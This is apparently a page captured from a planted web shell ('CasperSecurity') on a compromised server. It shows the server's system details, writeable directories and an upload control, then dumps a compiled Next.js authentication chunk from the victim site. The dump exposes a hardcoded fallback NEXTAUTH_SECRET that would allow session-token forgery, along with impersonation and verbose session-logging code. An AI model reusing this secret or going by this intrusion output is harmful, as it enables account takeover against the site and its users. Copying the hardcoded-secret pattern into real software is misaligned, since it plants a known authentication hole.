T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.ca/private_html/.next/server/chunks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.ca/private_html/.next/server/chunks/9412.js
"use strict";exports.id=9412,exports.ids=[9412],exports.modules={8667:(e,i)=>{Object.defineProperty(i,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},33480:(e,i,r)=>{e.exports=r(75600)},41822:(e,i,r)=>{r.d(i,{N:()=>t});var a=r(16382),s=r.n(a),n=r(74729),o=r(76760);let t={providers:[s()({name:"Credentials",credentials:{email:{label:"Email",type:"email"},password:{label:"Password",type:"password"}},async authorize(e){if(!e?.email||!e?.password)return null;try{let i=await o.z.user.findUnique({where:{email:e.email},select:{id:!0,email:!0,password:!0,role:!0,name:!0,isVerified:!0,verificationStatus:!0}});if(!i||!await (0,n.compare)(e.password,i.password))return null;let{password:r,...a}=i;return{...a,name:a.name||a.email}}catch(e){return console.error("Auth error:",e),null}}})],session:{strategy:"jwt",maxAge:2592e3},cookies:{sessionToken:{name:"__Secure-next-auth.session-token",options:{httpOnly:!0,sameSite:"lax",path:"/",secure:!0,domain:process.env.COOKIE_DOMAIN}}},pages:{signIn:"/auth/login",signOut:"/auth/login",error:"/auth/error"},callbacks:{async jwt({token:e,user:i,trigger:r}){try{if(console.log("JWT Callback - trigger:",r),console.log("JWT Callback - user:",i?{id:i.id,email:i.email,role:i.role}:null),i)e.id=i.id,e.role=i.role,e.email=i.email,e.name=i.name||i.email,e.profilePicture=i.profilePicture||void 0,e.username=i.username||void 0,e.isVerified=i.isVerified||!1,e.verificationStatus=i.verificationStatus||"PENDING",e.isImpersonating=i.isImpersonating||!1,e.originalUser=i.originalUser||void 0,console.log("JWT Callback - Updated token from user:",{id:e.id,role:e.role,isImpersonating:e.isImpersonating});else if(e.id)try{console.log("JWT Callback - Checking for impersonation sessions...");let i=await o.z.impersonationSession.findFirst({where:{originalUserId:e.id,isActive:!0,expiresAt:{gt:new Date}},include:{impersonatedUser:{select:{id:!0,email:!0,name:!0,role:!0,profilePicture:!0,username:!0}},originalUser:{select:{id:!0,email:!0,name:!0,role:!0,profilePicture:!0,username:!0}}}});if(i){let r=i.impersonatedUser;e.id=r.id,e.email=r.email,e.name=r.name||r.email,e.role=r.role,e.profilePicture=r.profilePicture||void 0,e.username=r.username||void 0,e.isImpersonating=!0,e.originalUser={id:i.originalUser.id,email:i.originalUser.email,name:i.originalUser.name||i.originalUser.email,role:i.originalUser.role,profilePicture:i.originalUser.profilePicture||void 0,username:i.originalUser.username||void 0},console.log("JWT Callback - Applied impersonation:",{originalId:e.originalUser.id,impersonatedId:e.id,originalRole:e.originalUser.role,impersonatedRole:e.role})}else e.isImpersonating&&(e.originalUser&&(console.log("JWT Callback - Restoring original user from token"),e.id=e.originalUser.id,e.email=e.originalUser.email,e.name=e.originalUser.name||e.originalUser.email,e.role=e.originalUser.role,e.profilePicture=e.originalUser.profilePicture||void 0,e.username=e.originalUser.username||void 0),e.isImpersonating=!1,e.originalUser=void 0,console.log("JWT Callback - Cleared impersonation state"))}catch(i){console.error("JWT Callback - Database error:",i),e.isImpersonating&&e.originalUser&&(console.log("JWT Callback - Error occurred, restoring original user"),e.id=e.originalUser.id,e.email=e.originalUser.email,e.name=e.originalUser.name||e.originalUser.email,e.role=e.originalUser.role,e.profilePicture=e.originalUser.profilePicture||void 0,e.username=e.originalUser.username||void 0,e.isImpersonating=!1,e.originalUser=void 0)}return console.log("JWT Callback - Final token:",{id:e.id,email:e.email,role:e.role,isImpersonating:e.isImpersonating}),e}catch(i){return console.error("JWT Callback - Error:",i),e}},async session({session:e,token:i}){try{return console.log("Session Callback - token:",{id:i.id,email:i.email,role:i.role,isImpersonating:i.isImpersonating}),console.log("Session Callback - session before:",e),i&&e.user&&(e.user.id=i.id,e.user.role=i.role,e.user.email=i.email,e.user.name=i.name,e.user.profilePicture=i.profilePicture,e.user.username=i.username,e.user.isVerified=i.isVerified,e.user.verificationStatus=i.verificationStatus,e.user.isImpersonating=i.isImpersonating,e.user.originalUser=i.originalUser),console.log("Session Callback - session after:",e),console.log("Session Callback - Final user ID:",e.user?.id),e}catch(i){return console.error("Session Callback - Error:",i),e}},redirect:async({url:e,baseUrl:i})=>e===i||e===`${i}/`||e.endsWith("/auth/login")?i:e.startsWith("/")?`${i}${e}`:e.startsWith(i)?e:i},secret:process.env.NEXTAUTH_SECRET||"3560f921b7bbf968e64fbc2835960840d184fcb95977e960a2124de6bbbed2d3",debug:!1}},61914:(e,i,r)=>{r.d(i,{oP:()=>o});var a=r(76760);let s={CASE_BASED:"case_based",XP_MILESTONE:"xp_milestone",DEGREE_BASED:"degree_based",BORDEAUX_SPECIALIST:"bordeaux_specialist"},n={FIRST_CASE:{id:"first_case",name:"First Case",description:"Successfully handled your first case",type:s.CASE_BASED,xpReward:50,icon:"\uD83D\uDCCB"},TENTH_CASE:{id:"tenth_case",name:"Case Veteran",description:"Successfully handled 10 cases",type:s.CASE_BASED,xpReward:100,icon:"⚖️"},HUNDREDTH_CASE:{id:"hundredth_case",name:"Case Master",description:"Successfully handled 100 cases",type:s.CASE_BASED,xpReward:500,icon:"\uD83D\uDC51"},FIRST_DEGREE:{id:"first_degree",name:"Degree Initiate",description:"Achieved your first degree in the Society",type:s.DEGREE_BASED,xpReward:25,icon:"\uD83C\uDF93"},TENTH_DEGREE:{id:"tenth_degree",name:"Degree Scholar",description:"Achieved 10 degrees in the Society",type:s.DEGREE_BASED,xpReward:200,icon:"\uD83C\uDFDB️"},BORDEAUX_SPECIALIST:{id:"bordeaux_specialist",name:"Bordeaux Specialist",description:"Worked on 5 Bordeaux case applications",type:s.BORDEAUX_SPECIALIST,xpReward:150,icon:"\uD83C\uDFDB️"},XP_MILESTONE_1000:{id:"xp_1000",name:"XP Novice",description:"Reached 1,000 XP points",type:s.XP_MILESTONE,xpReward:50,icon:"⭐"},XP_MILESTONE_5000:{id:"xp_5000",name:"XP Expert",description:"Reached 5,000 XP points",type:s.XP_MILESTONE,xpReward:100,icon:"\uD83C\uDF1F"},XP_MILESTONE_10000:{id:"xp_10000",name:"XP Master",description:"Reached 10,000 XP points",type:s.XP_MILESTONE,xpReward:200,icon:"\uD83D\uDCAB"}};class o{static async awardXP(e){let{userId:i,activityType:r,xpAmount:s,description:n,metadata:o,caseId:t,isBordeauxCase:l}=e;try{return await a.z.$transaction(async e=>{if(!await e.user.findUnique({where:{id:i},select:{id:!0,xpPoints:!0}}))throw Error("User not found");let r=s;if(l&&t&&await e.legalCase.findFirst({where:{id:t,title:{contains:"Bordeaux"}}})){let e=Math.floor(.5*s);r+=e}let a=await e.user.update({where:{id:i},data:{xpPoints:{increment:r}},select:{id:!0,xpPoints:!0}}),n=await this.checkAchievements(e,i,a.xpPoints);return{xpAwarded:r,newTotal:a.xpPoints,achievements:n}})}catch(e){throw console.error("Error awarding XP:",e),e}}static async checkAchievements(e,i,r){let a=[],s=new Set((await e.userAchievement.findMany({where:{userId:i},select:{achievementId:!0}})).map(e=>e.achievementId));r>=1e3&&!s.has("xp_1000")&&a.push(n.XP_MILESTONE_1000),r>=5e3&&!s.has("xp_5000")&&a.push(n.XP_MILESTONE_5000),r>=1e4&&!s.has("xp_10000")&&a.push(n.XP_MILESTONE_10000);let o=await e.caseAssignment.count({where:{userId:i,isActive:!0}});o>=1&&!s.has("first_case")&&a.push(n.FIRST_CASE),o>=10&&!s.has("tenth_case")&&a.push(n.TENTH_CASE),o>=100&&!s.has("hundredth_case")&&a.push(n.HUNDREDTH_CASE);let t=await e.userDegree.count({where:{userId:i,ceremonyCompleted:!0}});for(let r of(t>=1&&!s.has("first_degree")&&a.push(n.FIRST_DEGREE),t>=10&&!s.has("tenth_degree")&&a.push(n.TENTH_DEGREE),await e.caseAssignment.count({where:{userId:i,isActive:!0,registration:{caseId:{not:null}}}})>=5&&!s.has("bordeaux_specialist")&&a.push(n.BORDEAUX_SPECIALIST),a))await e.userAchievement.create({data:{userId:i,achievementId:r.id,lastUpdated:new Date,currentProgress:100,isCompleted:!0,completedAt:new Date}}),await e.user.update({where:{id:i},data:{xpPoints:{increment:r.xpReward}}});return a}static async getUserXPHistory(e,i=20){return[]}static async getUserAchievements(e){return await a.z.userAchievement.findMany({where:{userId:e},include:{achievement:!0},orderBy:{lastUpdated:"desc"}})}static async getLeaderboard(e=10){return await a.z.user.findMany({where:{role:{in:["LAWYER","ADMIN","SUPERADMIN","SUPERADMIN"]}},select:{id:!0,name:!0,xpPoints:!0,role:!0,degrees:{where:{ceremonyCompleted:!0},include:{degree:{select:{degreeNumber:!0,name:!0,symbol:!0}}},orderBy:{degree:{degreeNumber:"desc"}},take:1}},orderBy:{xpPoints:"desc"},take:e})}static async getBordeauxLeaderboard(e=10){return await a.z.user.findMany({where:{role:{in:["LAWYER","ADMIN","SUPERADMIN","SUPERADMIN"]}},select:{id:!0,name:!0,xpPoints:!0,role:!0},orderBy:{xpPoints:"desc"},take:e})}}},76760:(e,i,r)=>{r.d(i,{z:()=>s});var a=r(96330);let s=globalThis.prisma??new a.PrismaClient({log:["error"]})},86435:(e,i)=>{Object.defineProperty(i,"M",{enumerable:!0,get:function(){return function e(i,r){return r in i?i[r]:"then"in i&&"function"==typeof i.then?i.then(i=>e(i,r)):"function"==typeof i&&"default"===r?i:void 0}}})}};

CasperSecurity Mini